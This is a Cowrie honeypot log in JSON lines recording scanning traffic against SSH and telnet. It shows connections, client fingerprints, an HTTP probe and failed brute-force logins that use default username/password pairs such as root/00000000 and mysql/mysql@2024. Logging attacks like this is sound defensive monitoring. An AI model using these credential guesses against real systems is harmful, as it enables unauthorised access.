{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:07.164880Z","src_ip":"193.24.211.95","session":"d7ec9bcdfdc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:08.301652Z","src_ip":"193.24.211.95","session":"d7ec9bcdfdc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39838,"dst_ip":"10.17.0.5","dst_port":23,"session":"661b9d9f4206","protocol":"telnet","message":"New connection: 104.245.105.2:39838 (10.17.0.5:23) [session: 661b9d9f4206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:08.815219Z"}
{"eventid":"cowrie.session.closed","duration":35.17942023277283,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:32.558044Z","src_ip":"104.245.105.2","session":"28590a126c43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.453747034072876,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:35.022064Z","src_ip":"188.208.141.113","session":"7edc00b292dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.972073793411255,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:44.787182Z","src_ip":"104.245.105.2","session":"661b9d9f4206","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":47516,"dst_ip":"10.17.0.5","dst_port":22,"session":"11a6681c7776","protocol":"ssh","message":"New connection: 190.108.60.10:47516 (10.17.0.5:22) [session: 11a6681c7776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:55.745572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:55.750386Z","src_ip":"190.108.60.10","session":"11a6681c7776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:55.944580Z","src_ip":"190.108.60.10","session":"11a6681c7776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oneadmin","password":"123456","message":"login attempt [oneadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:56.745047Z","src_ip":"190.108.60.10","session":"11a6681c7776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:57.939994Z","src_ip":"190.108.60.10","session":"11a6681c7776","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":40742,"dst_ip":"10.17.0.5","dst_port":22,"session":"41bc644af139","protocol":"ssh","message":"New connection: 61.222.211.114:40742 (10.17.0.5:22) [session: 41bc644af139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:58.573091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:58.577452Z","src_ip":"61.222.211.114","session":"41bc644af139","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:58.784350Z","src_ip":"61.222.211.114","session":"41bc644af139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"qwer1234","message":"login attempt [deployer/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:59.628569Z","src_ip":"61.222.211.114","session":"41bc644af139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:00.834746Z","src_ip":"61.222.211.114","session":"41bc644af139","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.120.16.232","src_port":60654,"dst_ip":"10.17.0.5","dst_port":23,"session":"f18fd884991c","protocol":"telnet","message":"New connection: 187.120.16.232:60654 (10.17.0.5:23) [session: f18fd884991c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:13.094403Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33590,"dst_ip":"10.17.0.5","dst_port":23,"session":"b42ae5e2e752","protocol":"telnet","message":"New connection: 104.245.105.2:33590 (10.17.0.5:23) [session: b42ae5e2e752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:13.672922Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45268,"dst_ip":"10.17.0.5","dst_port":23,"session":"d52c4549055b","protocol":"telnet","message":"New connection: 104.245.105.2:45268 (10.17.0.5:23) [session: d52c4549055b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:21.036303Z"}
{"eventid":"cowrie.session.closed","duration":12.706758499145508,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:25.800850Z","src_ip":"187.120.16.232","session":"f18fd884991c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38014,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac034c5f39b0","protocol":"telnet","message":"New connection: 188.208.141.113:38014 (10.17.0.5:23) [session: ac034c5f39b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:26.678339Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45276,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa96561e914d","protocol":"telnet","message":"New connection: 104.245.105.2:45276 (10.17.0.5:23) [session: aa96561e914d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:28.363653Z"}
{"eventid":"cowrie.session.closed","duration":40.63718557357788,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:54.310013Z","src_ip":"104.245.105.2","session":"b42ae5e2e752","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9518,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6d5dd013035","protocol":"telnet","message":"New connection: 34.78.121.136:9518 (10.17.0.5:23) [session: e6d5dd013035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:56.702970Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9532,"dst_ip":"10.17.0.5","dst_port":23,"session":"0da99ad65626","protocol":"telnet","message":"New connection: 34.78.121.136:9532 (10.17.0.5:23) [session: 0da99ad65626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:56.857531Z"}
{"eventid":"cowrie.session.closed","duration":0.005582094192504883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:56.863001Z","src_ip":"34.78.121.136","session":"0da99ad65626","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9536,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c4cbe053533","protocol":"telnet","message":"New connection: 34.78.121.136:9536 (10.17.0.5:23) [session: 4c4cbe053533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:57.013331Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60456,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4ab73acd779","protocol":"telnet","message":"New connection: 188.208.141.113:60456 (10.17.0.5:23) [session: e4ab73acd779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:57.115703Z"}
{"eventid":"cowrie.session.closed","duration":1.9677743911743164,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:58.670615Z","src_ip":"34.78.121.136","session":"e6d5dd013035","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.943597078323364,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:58.979739Z","src_ip":"104.245.105.2","session":"d52c4549055b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":47902,"dst_ip":"10.17.0.5","dst_port":22,"session":"980325fa01e6","protocol":"ssh","message":"New connection: 61.222.211.114:47902 (10.17.0.5:22) [session: 980325fa01e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:59.477900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:59.482680Z","src_ip":"61.222.211.114","session":"980325fa01e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:04:59.696293Z","src_ip":"61.222.211.114","session":"980325fa01e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser1","password":"12345","message":"login attempt [testuser1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:00.575690Z","src_ip":"61.222.211.114","session":"980325fa01e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:01.791473Z","src_ip":"61.222.211.114","session":"980325fa01e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08275103569031,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:02.446291Z","src_ip":"104.245.105.2","session":"aa96561e914d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":36700,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bf74271ee42","protocol":"ssh","message":"New connection: 190.108.60.10:36700 (10.17.0.5:22) [session: 5bf74271ee42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:04.315073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:04.322819Z","src_ip":"190.108.60.10","session":"5bf74271ee42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:04.526729Z","src_ip":"190.108.60.10","session":"5bf74271ee42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@2024","message":"login attempt [mysql/mysql@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:05.364831Z","src_ip":"190.108.60.10","session":"5bf74271ee42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9388,"dst_ip":"10.17.0.5","dst_port":23,"session":"83c292fdcf2d","protocol":"telnet","message":"New connection: 34.78.121.136:9388 (10.17.0.5:23) [session: 83c292fdcf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:06.171637Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:06.178423Z","src_ip":"34.78.121.136","session":"83c292fdcf2d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:06.182879Z","src_ip":"34.78.121.136","session":"83c292fdcf2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09235191345214844,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:06.263877Z","src_ip":"34.78.121.136","session":"83c292fdcf2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9398,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e4b21de407b","protocol":"telnet","message":"New connection: 34.78.121.136:9398 (10.17.0.5:23) [session: 1e4b21de407b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:06.337975Z"}
{"eventid":"cowrie.session.closed","duration":0.007326364517211914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:06.345146Z","src_ip":"34.78.121.136","session":"1e4b21de407b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9402,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d52c3102faa","protocol":"telnet","message":"New connection: 34.78.121.136:9402 (10.17.0.5:23) [session: 0d52c3102faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:06.497588Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:06.573077Z","src_ip":"190.108.60.10","session":"5bf74271ee42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9408,"dst_ip":"10.17.0.5","dst_port":23,"session":"669d130d5266","protocol":"telnet","message":"New connection: 34.78.121.136:9408 (10.17.0.5:23) [session: 669d130d5266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:06.653982Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9410,"dst_ip":"10.17.0.5","dst_port":23,"session":"70c3a9d2d4c0","protocol":"telnet","message":"New connection: 34.78.121.136:9410 (10.17.0.5:23) [session: 70c3a9d2d4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:06.810332Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9426,"dst_ip":"10.17.0.5","dst_port":23,"session":"844a05196293","protocol":"telnet","message":"New connection: 34.78.121.136:9426 (10.17.0.5:23) [session: 844a05196293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:06.968605Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9442,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3805dc7b071","protocol":"telnet","message":"New connection: 34.78.121.136:9442 (10.17.0.5:23) [session: c3805dc7b071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.124393Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9456,"dst_ip":"10.17.0.5","dst_port":23,"session":"56091e66939f","protocol":"telnet","message":"New connection: 34.78.121.136:9456 (10.17.0.5:23) [session: 56091e66939f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.283286Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9468,"dst_ip":"10.17.0.5","dst_port":23,"session":"872db2503252","protocol":"telnet","message":"New connection: 34.78.121.136:9468 (10.17.0.5:23) [session: 872db2503252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.440847Z"}
{"eventid":"cowrie.session.closed","duration":0.21157264709472656,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.494744Z","src_ip":"34.78.121.136","session":"56091e66939f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.3760054111480713,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.500285Z","src_ip":"34.78.121.136","session":"c3805dc7b071","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.5365509986877441,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.505027Z","src_ip":"34.78.121.136","session":"844a05196293","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.496626377105713,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.509805Z","src_ip":"34.78.121.136","session":"4c4cbe053533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7032661437988281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.513407Z","src_ip":"34.78.121.136","session":"70c3a9d2d4c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8666846752166748,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.520523Z","src_ip":"34.78.121.136","session":"669d130d5266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0269277095794678,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.524372Z","src_ip":"34.78.121.136","session":"0d52c3102faa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9472,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c48b69c32d9","protocol":"telnet","message":"New connection: 34.78.121.136:9472 (10.17.0.5:23) [session: 4c48b69c32d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.595184Z"}
